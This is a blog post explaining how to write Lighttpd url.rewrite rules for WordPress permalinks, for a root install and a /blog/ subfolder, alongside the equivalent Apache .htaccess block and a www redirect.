Whereas WordPress can automatically adapt the Apache .htacccess file to something like RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} [...]]]> This blog now runs on a Lighttpd (Lighty) webserver instead of Apache, and this means the configuration for ‘pretty URLs’ or permalinks of WordPress doesn’t work like it used to.
(As you might have noticed, I use permalinks like /2007/02/this-is-permalink/)

Whereas WordPress can automatically adapt the Apache .htacccess file to something like

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

it does not do anything automatically for your Lighty .conf configuration file (which is logical, since an application should not be allowed to mess with a central config file).

So what you have to use is:

a WordPress blog installed in the root of your (sub-) domain:
$HTTP["host"] =~ “{yourdomain}” {
var.app = “{yourdomain}”
accesslog.filename = base + “/logs/” + app + “.access.log”
server.errorlog = base + “/logs/” + app + “.error.log”
load php app
url.rewrite = (
“^/(wp-.+).*/?” => “$0″,
“^/(sitemap.xml)” => “$0″,
“^/(xmlrpc.php)” => “$0″,
“^/(.+)/?$” => “/index.php/$1″
)
}

a WordPress blog installed in a subfolder (e.g. /blog/)
$HTTP["host"] =~ “{yourdomain}” {
var.app = “{yourdomain}”
accesslog.filename = base + “/logs/” + app + “.access.log”
server.errorlog = base + “/logs/” + app + “.error.log”
load php app
url.rewrite = (
“^/?$” => “/blog/index.php”,
“^/blog/(wp-.+)$” => “$0″,
“^/blog/xmlrpc.php” => “$0″,
“^/blog/sitemap.xml” => “$0″,
“^/blog/(.+)/?$” => “/blog/index.php/$1″
)
}
The xmlrpc.php rule is necessary for external access (like, publishing from del.icio.us or Flickr), and the sitemap.xml file is something for Google Sitemaps.

For those stubborn visitors who always precede their URLs with www, you can also add a redirect:

$HTTP["host"] =~ “www.blog.forret.com” {
url.redirect = ( “.*” => “http://blog.forret.com”)
}